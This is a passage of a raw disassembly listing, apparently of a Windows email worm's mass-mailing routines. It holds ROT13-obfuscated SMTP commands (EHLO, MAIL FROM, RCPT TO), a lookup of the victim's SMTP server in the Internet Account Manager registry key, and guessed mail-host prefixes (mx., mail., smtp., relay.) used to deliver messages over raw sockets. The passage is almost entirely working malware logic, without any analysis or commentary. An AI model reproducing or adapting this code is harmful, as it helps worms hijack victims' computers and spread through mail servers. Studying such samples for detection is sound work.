  9980.         mov    eax, [ebp+arg_4]
  9981.         push    offset aFrom    ; lpString2
  9982.         call    sub_4A78AC
  9983.         add    esp, 0Ch
  9984.         test    eax, eax
  9985.         jnz    short loc_4A7BAF
  9986.         lea    eax, [ebp+var_408]
  9987.         push    esi        ; int
  9988.         push    eax        ; int
  9989.         mov    eax, [ebp+arg_4]
  9990.         push    offset aTo    ; lpString2
  9991.         call    sub_4A78AC
  9992.         add    esp, 0Ch
  9993.         test    eax, eax
  9994.         jnz    short loc_4A7BAF
  9995.         mov    cl, byte ptr [ebp+var_208]
  9996.         lea    eax, [ebp+var_208]
  9997.         test    cl, cl
  9998.         jz    short loc_4A7BAF
  9999.  
  10000. loc_4A7B9E:                ; CODE XREF: sub_4A7B47+61j
  10001.         cmp    cl, 40h
  10002.         jz    short loc_4A7BAA
  10003.         inc    eax
  10004.         mov    cl, [eax]
  10005.         test    cl, cl
  10006.         jnz    short loc_4A7B9E
  10007.  
  10008. loc_4A7BAA:                ; CODE XREF: sub_4A7B47+5Aj
  10009.         cmp    byte ptr [eax],    0
  10010.         jnz    short loc_4A7BB7
  10011.  
  10012. loc_4A7BAF:                ; CODE XREF: sub_4A7B47+29j
  10013.                     ; sub_4A7B47+45j ...
  10014.         xor    eax, eax
  10015.         inc    eax
  10016.         jmp    loc_4A7DFA
  10017. ; ───────────────────────────────────────────────────────────────────────────
  10018.  
  10019. loc_4A7BB7:                ; CODE XREF: sub_4A7B47+66j
  10020.         inc    eax
  10021.         push    ebx
  10022.         push    eax        ; lpString2
  10023.         lea    eax, [ebp+String1]
  10024.         push    eax        ; lpString1
  10025.         call    ds:lstrcpyA
  10026.         push    6
  10027.         push    1
  10028.         push    2
  10029.         call    ds:WS2_32_23
  10030.         mov    ebx, eax
  10031.         cmp    ebx, 0FFFFFFFFh
  10032.         mov    [ebp+var_4], ebx
  10033.         jnz    short loc_4A7BE5
  10034.         xor    eax, eax
  10035.         inc    eax
  10036.         jmp    loc_4A7DF9
  10037. ; ───────────────────────────────────────────────────────────────────────────
  10038.  
  10039. loc_4A7BE5:                ; CODE XREF: sub_4A7B47+94j
  10040.         push    edi
  10041.         push    10h
  10042.         push    [ebp+arg_0]
  10043.         push    ebx
  10044.         call    ds:WS2_32_4
  10045.         test    eax, eax
  10046.         jnz    loc_4A7DEC
  10047.         mov    esi, 3A98h
  10048.         push    ebx
  10049.         mov    eax, esi
  10050.         call    sub_4A7A58
  10051.         test    eax, eax
  10052.         pop    ecx
  10053.         jnz    loc_4A7DEC
  10054.         push    eax
  10055.         push    esi
  10056.         push    ebx
  10057.         call    sub_4A7AAA
  10058.         mov    esi, 0C8h
  10059.         add    esp, 0Ch
  10060.         cmp    eax, esi
  10061.         jl    loc_4A7DEC
  10062.         cmp    eax, 190h
  10063.         jge    loc_4A7DEC
  10064.         lea    eax, [ebp+var_108]
  10065.         push    offset aRuybF    ; "RUYB    %f\r\n"
  10066.         push    eax
  10067.         call    sub_4A465E
  10068.         lea    eax, [ebp+String1]
  10069.         mov    edi, 2710h
  10070.         push    eax
  10071.         lea    eax, [ebp+var_108]
  10072.         push    eax
  10073.         push    edi
  10074.         push    ebx
  10075.         call    sub_4A7AAA
  10076.         add    esp, 18h
  10077.         cmp    eax, esi
  10078.         jl    short loc_4A7C6C
  10079.         cmp    eax, 12Bh
  10080.         jle    short loc_4A7CA8
  10081.  
  10082. loc_4A7C6C:                ; CODE XREF: sub_4A7B47+11Cj
  10083.         lea    eax, [ebp+var_108]
  10084.         push    offset aUrybF    ; "URYB    %f\r\n"
  10085.         push    eax
  10086.         call    sub_4A465E
  10087.         lea    eax, [ebp+String1]
  10088.         push    eax
  10089.         lea    eax, [ebp+var_108]
  10090.         push    eax
  10091.         push    edi
  10092.         push    ebx
  10093.         call    sub_4A7AAA
  10094.         add    esp, 18h
  10095.         cmp    eax, esi
  10096.         jl    loc_4A7DEC
  10097.         cmp    eax, 12Bh
  10098.         jg    loc_4A7DEC
  10099.  
  10100. loc_4A7CA8:                ; CODE XREF: sub_4A7B47+123j
  10101.         lea    eax, [ebp+var_108]
  10102.         push    offset aZnvySebzF ; "ZNVY SEBZ:<%f>\r\n"
  10103.         push    eax
  10104.         call    sub_4A465E
  10105.         lea    eax, [ebp+var_208]
  10106.         push    eax
  10107.         lea    eax, [ebp+var_108]
  10108.         push    eax
  10109.         push    edi
  10110.         push    ebx
  10111.         call    sub_4A7AAA
  10112.         add    esp, 18h
  10113.         cmp    eax, esi
  10114.         jl    loc_4A7DEC
  10115.         cmp    eax, 12Bh
  10116.         jg    loc_4A7DEC
  10117.         lea    eax, [ebp+var_108]
  10118.         push    offset aEpcgGbF    ; "EPCG    GB:<%f>\r\n"
  10119.         push    eax
  10120.         call    sub_4A465E
  10121.         lea    eax, [ebp+var_408]
  10122.         push    eax
  10123.         lea    eax, [ebp+var_108]
  10124.         push    eax
  10125.         push    edi
  10126.         push    ebx
  10127.         call    sub_4A7AAA
  10128.         add    esp, 18h
  10129.         cmp    eax, esi
  10130.         jl    loc_4A7DEC
  10131.         cmp    eax, 12Bh
  10132.         jg    loc_4A7DEC
  10133.         push    offset aData    ; "DATA\r\n"
  10134.         push    edi
  10135.         push    ebx
  10136.         call    sub_4A7AAA
  10137.         add    esp, 0Ch
  10138.         cmp    eax, esi
  10139.         jl    loc_4A7DEC
  10140.         cmp    eax, 18Fh
  10141.         jg    loc_4A7DEC
  10142.         mov    ecx, [ebp+arg_4]
  10143.         mov    edi, ds:WS2_32_19
  10144.         mov    [ebp+var_8], ecx
  10145.  
  10146. loc_4A7D4E:                ; CODE XREF: sub_4A7B47+259j
  10147.         mov    al, [ecx]
  10148.         mov    ebx, ecx
  10149.         jmp    short loc_4A7D5F
  10150. ; ───────────────────────────────────────────────────────────────────────────
  10151.  
  10152. loc_4A7D54:                ; CODE XREF: sub_4A7B47+21Aj
  10153.         cmp    al, 0Ah
  10154.         jz    short loc_4A7D6D
  10155.         cmp    al, 0Dh
  10156.         jz    short loc_4A7D63
  10157.         inc    ebx
  10158.         mov    al, [ebx]
  10159.  
  10160. loc_4A7D5F:                ; CODE XREF: sub_4A7B47+20Bj
  10161.         test    al, al
  10162.         jnz    short loc_4A7D54
  10163.  
  10164. loc_4A7D63:                ; CODE XREF: sub_4A7B47+213j
  10165.                     ; sub_4A7B47+227j
  10166.         mov    al, [ebx]
  10167.         cmp    al, 0Ah
  10168.         jz    short loc_4A7D6D
  10169.         cmp    al, 0Dh
  10170.         jnz    short loc_4A7D70
  10171.  
  10172. loc_4A7D6D:                ; CODE XREF: sub_4A7B47+20Fj
  10173.                     ; sub_4A7B47+220j
  10174.         inc    ebx
  10175.         jmp    short loc_4A7D63
  10176. ; ───────────────────────────────────────────────────────────────────────────
  10177.  
  10178. loc_4A7D70:                ; CODE XREF: sub_4A7B47+224j
  10179.         cmp    ecx, ebx
  10180.         jz    short loc_4A7DA2
  10181.         cmp    byte ptr [ecx],    2Eh
  10182.         jnz    short loc_4A7D8A
  10183.         push    0
  10184.         push    1
  10185.         push    offset a__1    ; "."
  10186.         push    [ebp+var_4]
  10187.         call    edi ; WS2_32_19
  10188.         mov    ecx, [ebp+var_8]
  10189.  
  10190. loc_4A7D8A:                ; CODE XREF: sub_4A7B47+230j
  10191.         mov    eax, ebx
  10192.         push    0
  10193.         sub    eax, ecx
  10194.         push    eax
  10195.         push    ecx
  10196.         push    [ebp+var_4]
  10197.         call    edi ; WS2_32_19
  10198.         test    eax, eax
  10199.         jle    short loc_4A7DE9
  10200.         mov    [ebp+var_8], ebx
  10201.         mov    ecx, ebx
  10202.         jmp    short loc_4A7D4E
  10203. ; ───────────────────────────────────────────────────────────────────────────
  10204.  
  10205. loc_4A7DA2:                ; CODE XREF: sub_4A7B47+22Bj
  10206.         push    0
  10207.         push    5
  10208.         push    offset a__0    ; "\r\n.\r\n"
  10209.         push    [ebp+var_4]
  10210.         call    edi ; WS2_32_19
  10211.         push    0
  10212.         push    3A98h
  10213.         push    [ebp+var_4]
  10214.         call    sub_4A7AAA
  10215.         add    esp, 0Ch
  10216.         cmp    eax, esi
  10217.         jl    short loc_4A7DE9
  10218.         cmp    eax, 190h
  10219.         jge    short loc_4A7DE9
  10220.         push    offset aQuit    ; "QUIT\r\n"
  10221.         push    1388h
  10222.         push    [ebp+var_4]
  10223.         call    sub_4A7AAA
  10224.         mov    ebx, [ebp+var_4]
  10225.         add    esp, 0Ch
  10226.         xor    esi, esi
  10227.         jmp    short loc_4A7DEF
  10228. ; ───────────────────────────────────────────────────────────────────────────
  10229.  
  10230. loc_4A7DE9:                ; CODE XREF: sub_4A7B47+252j
  10231.                     ; sub_4A7B47+27Dj ...
  10232.         mov    ebx, [ebp+var_4]
  10233.  
  10234. loc_4A7DEC:                ; CODE XREF: sub_4A7B47+ADj
  10235.                     ; sub_4A7B47+C3j ...
  10236.         xor    esi, esi
  10237.         inc    esi
  10238.  
  10239. loc_4A7DEF:                ; CODE XREF: sub_4A7B47+2A0j
  10240.         push    ebx
  10241.         call    ds:WS2_32_3
  10242.         mov    eax, esi
  10243.         pop    edi
  10244.  
  10245. loc_4A7DF9:                ; CODE XREF: sub_4A7B47+99j
  10246.         pop    ebx
  10247.  
  10248. loc_4A7DFA:                ; CODE XREF: sub_4A7B47+6Bj
  10249.         pop    esi
  10250.         leave
  10251.         retn
  10252. sub_4A7B47    endp
  10253.  
  10254.  
  10255. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  10256.  
  10257. ; Attributes: bp-based frame
  10258.  
  10259. sub_4A7DFD    proc near        ; CODE XREF: sub_4A7F4C+1E2p
  10260.  
  10261. var_324        = byte ptr -324h
  10262. Data        = byte ptr -224h
  10263. SubKey        = byte ptr -124h
  10264. ValueName    = byte ptr -0A4h
  10265. var_24        = word ptr -24h
  10266. var_22        = word ptr -22h
  10267. var_20        = dword    ptr -20h
  10268. cbData        = dword    ptr -14h
  10269. phkResult    = dword    ptr -10h
  10270. var_C        = dword    ptr -0Ch
  10271. var_8        = dword    ptr -8
  10272. hKey        = dword    ptr -4
  10273. arg_0        = dword    ptr  8
  10274.  
  10275.         push    ebp
  10276.         mov    ebp, esp
  10277.         sub    esp, 324h
  10278.         push    edi
  10279.         lea    eax, [ebp+SubKey]
  10280.         push    offset aFbsgjnerZvpe_2 ; "Fbsgjner\\Zvpebfbsg\\Vagrearg    Nppbhag    Zna"...
  10281.         push    eax
  10282.         call    sub_4A465E
  10283.         lea    eax, [ebp+ValueName]
  10284.         push    offset aFzgcFreire ; "FZGC Freire"
  10285.         push    eax
  10286.         call    sub_4A465E
  10287.         add    esp, 10h
  10288.         lea    eax, [ebp+hKey]
  10289.         xor    edi, edi
  10290.         push    eax        ; phkResult
  10291.         push    20019h        ; samDesired
  10292.         lea    eax, [ebp+SubKey]
  10293.         push    edi        ; ulOptions
  10294.         push    eax        ; lpSubKey
  10295.         push    80000001h    ; hKey
  10296.         call    ds:RegOpenKeyExA
  10297.         test    eax, eax
  10298.         jz    short loc_4A7E56
  10299.         xor    eax, eax
  10300.         inc    eax
  10301.         jmp    loc_4A7F49
  10302. ; ───────────────────────────────────────────────────────────────────────────
  10303.  
  10304. loc_4A7E56:                ; CODE XREF: sub_4A7DFD+4Fj
  10305.         push    ebx
  10306.         mov    ebx, ds:RegEnumKeyA
  10307.         push    esi
  10308.         mov    esi, 100h
  10309.         lea    eax, [ebp+var_324]
  10310.         push    esi
  10311.         push    eax
  10312.         mov    [ebp+var_8], edi
  10313.         mov    [ebp+var_C], edi
  10314.         push    edi
  10315.         jmp    loc_4A7F29
  10316. ; ───────────────────────────────────────────────────────────────────────────
  10317.  
  10318. loc_4A7E77:                ; CODE XREF: sub_4A7DFD+133j
  10319.         lea    eax, [ebp+phkResult]
  10320.         inc    [ebp+var_8]
  10321.         push    eax        ; phkResult
  10322.         push    20019h        ; samDesired
  10323.         lea    eax, [ebp+var_324]
  10324.         push    edi        ; ulOptions
  10325.         push    eax        ; lpSubKey
  10326.         push    [ebp+hKey]    ; hKey
  10327.         call    ds:RegOpenKeyExA
  10328.         test    eax, eax
  10329.         jnz    loc_4A7F1E
  10330.         push    esi
  10331.         lea    eax, [ebp+Data]
  10332.         push    edi
  10333.         push    eax
  10334.         call    memset
  10335.         add    esp, 0Ch
  10336.         lea    eax, [ebp+cbData]
  10337.         mov    [ebp+cbData], esi
  10338.         push    eax        ; lpcbData
  10339.         lea    eax, [ebp+Data]
  10340.         push    eax        ; lpData
  10341.         push    edi        ; lpType
  10342.         lea    eax, [ebp+ValueName]
  10343.         push    edi        ; lpReserved
  10344.         push    eax        ; lpValueName
  10345.         push    [ebp+phkResult]    ; hKey
  10346.         call    ds:RegQueryValueExA
  10347.         test    eax, eax
  10348.         jnz    short loc_4A7F10
  10349.         lea    edi, [ebp+Data]
  10350.         call    sub_4A7877
  10351.         test    eax, eax
  10352.         mov    [ebp+var_20], eax
  10353.         jz    short loc_4A7F0E
  10354.         push    19h
  10355.         mov    [ebp+var_24], 2
  10356.         call    ds:WS2_32_9
  10357.         push    [ebp+arg_0]
  10358.         mov    [ebp+var_22], ax
  10359.         lea    eax, [ebp+var_24]
  10360.         push    eax
  10361.         call    sub_4A7B47
  10362.         pop    ecx
  10363.         test    eax, eax
  10364.         pop    ecx
  10365.         jnz    short loc_4A7F0E
  10366.         mov    [ebp+var_C], 1
  10367.  
  10368. loc_4A7F0E:                ; CODE XREF: sub_4A7DFD+E4j
  10369.                     ; sub_4A7DFD+108j
  10370.         xor    edi, edi
  10371.  
  10372. loc_4A7F10:                ; CODE XREF: sub_4A7DFD+D2j
  10373.         push    [ebp+phkResult]
  10374.         call    ds:RegCloseKey
  10375.         cmp    [ebp+var_C], edi
  10376.         jnz    short loc_4A7F36
  10377.  
  10378. loc_4A7F1E:                ; CODE XREF: sub_4A7DFD+99j
  10379.         lea    eax, [ebp+var_324]
  10380.         push    esi
  10381.         push    eax
  10382.         push    [ebp+var_8]
  10383.  
  10384. loc_4A7F29:                ; CODE XREF: sub_4A7DFD+75j
  10385.         push    [ebp+hKey]
  10386.         call    ebx
  10387.         test    eax, eax
  10388.         jz    loc_4A7E77
  10389.  
  10390. loc_4A7F36:                ; CODE XREF: sub_4A7DFD+11Fj
  10391.         push    [ebp+hKey]
  10392.         call    ds:RegCloseKey
  10393.         xor    eax, eax
  10394.         cmp    [ebp+var_C], edi
  10395.         pop    esi
  10396.         pop    ebx
  10397.         setz    al
  10398.  
  10399. loc_4A7F49:                ; CODE XREF: sub_4A7DFD+54j
  10400.         pop    edi
  10401.         leave
  10402.         retn
  10403. sub_4A7DFD    endp
  10404.  
  10405.  
  10406. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  10407.  
  10408. ; Attributes: bp-based frame
  10409.  
  10410. sub_4A7F4C    proc near        ; CODE XREF: sub_4A5A7C+52p
  10411.  
  10412. var_314        = dword    ptr -314h
  10413. String2        = byte ptr -214h
  10414. var_114        = byte ptr -114h
  10415. var_14        = word ptr -14h
  10416. var_12        = word ptr -12h
  10417. var_10        = dword    ptr -10h
  10418. var_4        = dword    ptr -4
  10419. arg_0        = dword    ptr  8
  10420. arg_4        = dword    ptr  0Ch
  10421.  
  10422.         push    ebp
  10423.         mov    ebp, esp
  10424.         sub    esp, 314h
  10425.         mov    eax, [ebp+arg_4]
  10426.         test    eax, eax
  10427.         jz    short loc_4A7F9A
  10428.         lea    ecx, [ebp+var_314]
  10429.         push    100h        ; int
  10430.         push    ecx        ; int
  10431.         push    offset aTo    ; lpString2
  10432.         call    sub_4A78AC
  10433.         add    esp, 0Ch
  10434.         test    eax, eax
  10435.         jnz    short loc_4A7F9A
  10436.         mov    cl, byte ptr [ebp+var_314]
  10437.         lea    eax, [ebp+var_314]
  10438.         test    cl, cl
  10439.         jz    short loc_4A7F9A
  10440.  
  10441. loc_4A7F89:                ; CODE XREF: sub_4A7F4C+47j
  10442.         cmp    cl, 40h
  10443.         jz    short loc_4A7F95
  10444.         inc    eax
  10445.         mov    cl, [eax]
  10446.         test    cl, cl
  10447.         jnz    short loc_4A7F89
  10448.  
  10449. loc_4A7F95:                ; CODE XREF: sub_4A7F4C+40j
  10450.         cmp    byte ptr [eax],    0
  10451.         jnz    short loc_4A7F9F
  10452.  
  10453. loc_4A7F9A:                ; CODE XREF: sub_4A7F4C+Ej
  10454.                     ; sub_4A7F4C+2Bj ...
  10455.         xor    eax, eax
  10456.         inc    eax
  10457.         leave
  10458.         retn
  10459. ; ───────────────────────────────────────────────────────────────────────────
  10460.  
  10461. loc_4A7F9F:                ; CODE XREF: sub_4A7F4C+4Cj
  10462.         push    ebx
  10463.         mov    ebx, ds:lstrcpyA
  10464.         push    esi
  10465.         inc    eax
  10466.         push    edi
  10467.         push    eax        ; lpString2
  10468.         lea    eax, [ebp+String2]
  10469.         push    eax        ; lpString1
  10470.         call    ebx ; lstrcpyA
  10471.         mov    esi, [ebp+arg_0]
  10472.         jmp    short loc_4A7FED
  10473. ; ───────────────────────────────────────────────────────────────────────────
  10474.  
  10475. loc_4A7FB8:                ; CODE XREF: sub_4A7F4C+A3j
  10476.         lea    edi, [esi+8]
  10477.         call    sub_4A7877
  10478.         test    eax, eax
  10479.         mov    [ebp+var_10], eax
  10480.         jz    short loc_4A7FEB
  10481.         push    19h
  10482.         mov    [ebp+var_14], 2
  10483.         call    ds:WS2_32_9
  10484.         push    [ebp+arg_4]
  10485.         mov    [ebp+var_12], ax
  10486.         lea    eax, [ebp+var_14]
  10487.         push    eax
  10488.         call    sub_4A7B47
  10489.         pop    ecx
  10490.         test    eax, eax
  10491.         pop    ecx
  10492.         jz    short loc_4A800D
  10493.  
  10494. loc_4A7FEB:                ; CODE XREF: sub_4A7F4C+79j
  10495.         mov    esi, [esi]
  10496.  
  10497. loc_4A7FED:                ; CODE XREF: sub_4A7F4C+6Aj
  10498.         test    esi, esi
  10499.         jnz    short loc_4A7FB8
  10500.         and    [ebp+var_4], esi
  10501.         mov    esi, ds:wsprintfA
  10502.  
  10503. loc_4A7FFA:                ; CODE XREF: sub_4A7F4C+1C7j
  10504.         mov    eax, [ebp+var_4]
  10505.         cmp    eax, 9        ; switch 10 cases 
  10506.         ja    loc_4A80B3    ; default
  10507.         jmp    ds:off_4A8144[eax*4] ; switch jump
  10508. ; ───────────────────────────────────────────────────────────────────────────
  10509.  
  10510. loc_4A800D:                ; CODE XREF: sub_4A7F4C+9Dj
  10511.                     ; sub_4A7F4C+1ABj ...
  10512.         xor    eax, eax
  10513.         jmp    loc_4A813F
  10514. ; ───────────────────────────────────────────────────────────────────────────
  10515.  
  10516. loc_4A8014:                ; CODE XREF: sub_4A7F4C+BAj
  10517.                     ; DATA XREF: .text:004A8144o
  10518.         lea    eax, [ebp+String2] ; case 0x0
  10519.         push    eax        ; lpString2
  10520.         lea    eax, [ebp+var_114]
  10521.         push    eax        ; lpString1
  10522.         call    ebx ; lstrcpyA
  10523.         jmp    loc_4A80BA
  10524. ; ───────────────────────────────────────────────────────────────────────────
  10525.  
  10526. loc_4A8029:                ; CODE XREF: sub_4A7F4C+BAj
  10527.                     ; DATA XREF: .text:004A8144o
  10528.         lea    eax, [ebp+String2] ; case 0x1
  10529.         push    eax
  10530.         push    offset aMx_S    ; "mx.%s"
  10531.         jmp    short loc_4A80A5
  10532. ; ───────────────────────────────────────────────────────────────────────────
  10533.  
  10534. loc_4A8037:                ; CODE XREF: sub_4A7F4C+BAj
  10535.                     ; DATA XREF: .text:004A8144o
  10536.         lea    eax, [ebp+String2] ; case 0x2
  10537.         push    eax
  10538.         push    offset aMail_S    ; "mail.%s"
  10539.         jmp    short loc_4A80A5
  10540. ; ───────────────────────────────────────────────────────────────────────────
  10541.  
  10542. loc_4A8045:                ; CODE XREF: sub_4A7F4C+BAj
  10543.                     ; DATA XREF: .text:004A8144o
  10544.         lea    eax, [ebp+String2] ; case 0x3
  10545.         push    eax
  10546.         push    offset aSmtp_S    ; "smtp.%s"
  10547.         jmp    short loc_4A80A5
  10548. ; ───────────────────────────────────────────────────────────────────────────
  10549.  
  10550. loc_4A8053:                ; CODE XREF: sub_4A7F4C+BAj
  10551.                     ; DATA XREF: .text:004A8144o
  10552.         lea    eax, [ebp+String2] ; case 0x4
  10553.         push    eax
  10554.         push    offset aMx1_S    ; "mx1.%s"
  10555.         jmp    short loc_4A80A5
  10556. ; ───────────────────────────────────────────────────────────────────────────
  10557.  
  10558. loc_4A8061:                ; CODE XREF: sub_4A7F4C+BAj
  10559.                     ; DATA XREF: .text:004A8144o
  10560.         lea    eax, [ebp+String2] ; case 0x5
  10561.         push    eax
  10562.         push    offset aMxs_S    ; "mxs.%s"
  10563.         jmp    short loc_4A80A5
  10564. ; ───────────────────────────────────────────────────────────────────────────
  10565.  
  10566. loc_4A806F:                ; CODE XREF: sub_4A7F4C+BAj
  10567.                     ; DATA XREF: .text:004A8144o
  10568.         lea    eax, [ebp+String2] ; case 0x6
  10569.         push    eax
  10570.         push    offset aMail1_S    ; "mail1.%s"
  10571.         jmp    short loc_4A80A5
  10572. ; ───────────────────────────────────────────────────────────────────────────
  10573.  
  10574. loc_4A807D:                ; CODE XREF: sub_4A7F4C+BAj
  10575.                     ; DATA XREF: .text:004A8144o
  10576.         lea    eax, [ebp+String2] ; case 0x7
  10577.         push    eax
  10578.         push    offset aRelay_S    ; "relay.%s"
  10579.         jmp    short loc_4A80A5
  10580. ; ───────────────────────────────────────────────────────────────────────────
  10581.  
  10582. loc_4A808B:                ; CODE XREF: sub_4A7F4C+BAj
  10583.                     ; DATA XREF: .text:004A8144o
  10584.         lea    eax, [ebp+String2] ; case 0x8
  10585.         push    eax
  10586.         push    offset aNs_S    ; "ns.%s"
  10587.         jmp    short loc_4A80A5
  10588. ; ───────────────────────────────────────────────────────────────────────────
  10589.  
  10590. loc_4A8099:                ; CODE XREF: sub_4A7F4C+BAj
  10591.                     ; DATA XREF: .text:004A8144o
  10592.         lea    eax, [ebp+String2] ; case 0x9
  10593.         push    eax
  10594.         push    offset aGate_S    ; "gate.%s"
  10595.  
  10596. loc_4A80A5:                ; CODE XREF: sub_4A7F4C+E9j
  10597.                     ; sub_4A7F4C+F7j ...
  10598.         lea    eax, [ebp+var_114]
  10599.         push    eax
  10600.         call    esi ; wsprintfA
  10601.         add    esp, 0Ch
  10602.         jmp    short loc_4A80BA
  10603. ; ───────────────────────────────────────────────────────────────────────────
  10604.  
  10605. loc_4A80B3:                ; CODE XREF: sub_4A7F4C+B4j
  10606.         and    [ebp+var_114], 0 ; default
  10607.  
  10608. loc_4A80BA:                ; CODE XREF: sub_4A7F4C+D8j
  10609.                     ; sub_4A7F4C+165j
  10610.         cmp    [ebp+var_114], 0
  10611.         jz    short loc_4A8118
  10612.         lea    edi, [ebp+var_114]
  10613.         call    sub_4A7877
  10614.         test    eax, eax
  10615.         mov    [ebp+var_10], eax
  10616.         jz    short loc_4A8110
  10617.         push    19h
  10618.         mov    [ebp+var_14], 2
  10619.         call    ds:WS2_32_9
  10620.         push    [ebp+arg_4]
  10621.         mov    [ebp+var_12], ax
  10622.         lea    eax, [ebp+var_14]
  10623.         push    eax
  10624.         call    sub_4A7B47
  10625.         pop    ecx
  10626.         test    eax, eax
  10627.         pop    ecx
  10628.         jz    loc_4A800D
  10629.         call    sub_4A4221
  10630.         movzx    eax, ax
  10631.         push    64h
  10632.         cdq
  10633.         pop    ecx
  10634.         idiv    ecx
  10635.         cmp    edx, 14h
  10636.         jl    short loc_4A8118
  10637.  
  10638. loc_4A8110:                ; CODE XREF: sub_4A7F4C+187j
  10639.         inc    [ebp+var_4]
  10640.         jmp    loc_4A7FFA
  10641. ; ───────────────────────────────────────────────────────────────────────────
  10642.  
  10643. loc_4A8118:                ; CODE XREF: sub_4A7F4C+175j
  10644.                     ; sub_4A7F4C+1C2j
  10645.         call    sub_4A4221
  10646.         movzx    eax, ax
  10647.         push    64h
  10648.         cdq
  10649.         pop    ecx
  10650.         idiv    ecx
  10651.         cmp    edx, 19h
  10652.         jge    short loc_4A813C
  10653.         push    [ebp+arg_4]
  10654.         call    sub_4A7DFD
  10655.         test    eax, eax
  10656.         pop    ecx
  10657.         jz    loc_4A800D
  10658.  
  10659. loc_4A813C:                ; CODE XREF: sub_4A7F4C+1DDj
  10660.         xor    eax, eax
  10661.         inc    eax
  10662.  
  10663. loc_4A813F:                ; CODE XREF: sub_4A7F4C+C3j
  10664.         pop    edi
  10665.         pop    esi
  10666.         pop    ebx
  10667.         leave
  10668.         retn
  10669. sub_4A7F4C    endp
  10670.  
  10671. ; ───────────────────────────────────────────────────────────────────────────
  10672. off_4A8144    dd offset loc_4A8014    ; DATA XREF: sub_4A7F4C+BAr
  10673.         dd offset loc_4A8029    ; jump table for switch    statement
  10674.         dd offset loc_4A8037
  10675.         dd offset loc_4A8045
  10676.         dd offset loc_4A8053
  10677.         dd offset loc_4A8061
  10678.         dd offset loc_4A806F
  10679.         dd offset loc_4A807D
  10680.         dd offset loc_4A808B
  10681.         dd offset loc_4A8099
  10682. ; [00000006 BYTES: COLLAPSED FUNCTION WS2_32_151. PRESS    KEYPAD "+" TO EXPAND]
  10683. ; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
  10684. ; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
  10685.         align 4
  10686.  
  10687. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  10688.  
  10689.  
  10690. sub_4A8180    proc near        ; CODE XREF: sub_4A5EC8+8p
  10691.  
  10692. arg_0        = byte ptr  8
  10693.  
  10694.         push    ecx
  10695.         cmp    eax, 1000h
  10696.         lea    ecx, [esp+arg_0]
  10697.         jb    short loc_4A81A0
  10698.  
  10699. loc_4A818C:                ; CODE XREF: sub_4A8180+1Ej
  10700.         sub    ecx, 1000h
  10701.         sub    eax, 1000h
  10702.         test    [ecx], eax
  10703.         cmp    eax, 1000h
  10704.         jnb    short loc_4A818C
  10705.  
  10706. loc_4A81A0:                ; CODE XREF: sub_4A8180+Aj
  10707.         sub    ecx, eax
  10708.         mov    eax, esp
  10709.         test    [ecx], eax
  10710.         mov    esp, ecx
  10711.         mov    ecx, [eax]
  10712.         mov    eax, [eax+4]
  10713.         push    eax
  10714.         retn
  10715. sub_4A8180    endp ; sp = -8
  10716.  
  10717. ; ───────────────────────────────────────────────────────────────────────────
  10718.         align 4
  10719. dword_4A81B0    dd 0            ; DATA XREF: sub_4A4215+6w sub_4A4221r ...
  10720.         align 8
  10721. dword_4A81B8    dd 0            ; DATA XREF: sub_4A539F+Cw
  10722.                     ; sub_4A539F+18w ...
  10723. dword_4A81BC    dd 0            ; DATA XREF: sub_4A539F+31w
  10724.                     ; sub_4A539F+5Cw ...
  10725. byte_4A81C0    db 0            ; DATA XREF: sub_4A539F+94o
  10726.                     ; sub_4A539F+F5r
  10727. byte_4A81C1    db 0            ; DATA XREF: sub_4A539F+11Cr
  10728.         dd 3Fh dup(0)
  10729.         align 4
  10730. dword_4A82C0    dd 0            ; DATA XREF: sub_4A539F+7Bw
  10731.         db 3 dup(0)
  10732. byte_4A82C7    db 0            ; DATA XREF: sub_4A539F+E2r
  10733. ; CHAR String1
  10734. String1        db 0            ; DATA XREF: sub_4A539F+8Fo
  10735.                     ; sub_4A539F+D9r
  10736.         dd 3Fh dup(0)
  10737.         align 4
  10738. dword_4A83C8    dd 0            ; DATA XREF: sub_4A6132w sub_4A613D+4w ...
  10739. dword_4A83CC    dd 0            ; DATA XREF: sub_4A5788+37r
  10740.                     ; sub_4A5788+B5r ...
  10741. dword_4A83D0    dd 0            ; DATA XREF: .text:004A5AEDo
  10742.                     ; .text:004A5B10r ...
  10743. dword_4A83D4    dd 0            ; DATA XREF: sub_4A5934+1r sub_4A595Dr ...
  10744.         dd 3 dup(0), 85D4h, 101Ch, 3 dup(0), 85E1h, 1000h, 3 dup(0)
  10745.         dd 85EEh, 1108h, 3 dup(0), 85F9h, 112Ch, 3 dup(0), 8604h
  10746.         dd 1144h, 66h dup(0), 4E52454Bh, 32334C45h, 4C4C442Eh
  10747.         dd 56444100h, 33495041h, 6C642E32h, 534D006Ch, 54524356h
  10748.         dd 6C6C642Eh, 45535500h, 2E323352h, 6C6C64h, 5F325357h
  10749.         dd 642E3233h, 6C6Ch, 72430000h,    65746165h, 656C6946h, 7070614Dh
  10750.         dd 41676E69h, 69460000h, 654E646Eh, 69467478h, 41656Ch
  10751.         dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 65470000h
  10752.         dd 766E4574h, 6E6F7269h, 746E656Dh, 69726156h, 656C6261h
  10753.         dd 41h,    57746547h, 6F646E69h, 69447377h, 74636572h, 4179726Fh
  10754.         dd 65470000h, 69724474h, 79546576h, 416570h, 65470000h
  10755.         dd 6C694674h, 7A695365h, 65h, 646E6946h, 736F6C43h, 65h
  10756.         dd 656C6946h, 656D6954h, 79536F54h, 6D657473h, 656D6954h
  10757.         dd 6C470000h, 6C61626Fh, 6F6C6C41h, 63h, 54746547h, 46706D65h
  10758.         dd 4E656C69h, 41656D61h, 65530000h, 6C694674h, 696F5065h
  10759.         dd 7265746Eh, 65470000h, 73795374h, 546D6574h, 656D69h
  10760.         dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 74697257h
  10761.         dd 6C694665h, 65h, 64616F4Ch, 7262694Ch, 41797261h, 736C0000h
  10762.         dd 70637274h, 4179h, 736F6C43h,    6E614865h, 656C64h, 65470000h
  10763.         dd 6C694674h, 74744165h, 75626972h, 41736574h, 72430000h
  10764.         dd 65746165h, 656C6946h, 41h, 7274736Ch, 416E656Ch, 65470000h
  10765.         dd 6D655474h, 74615070h, 4168h,    53746547h, 65747379h, 7269446Dh
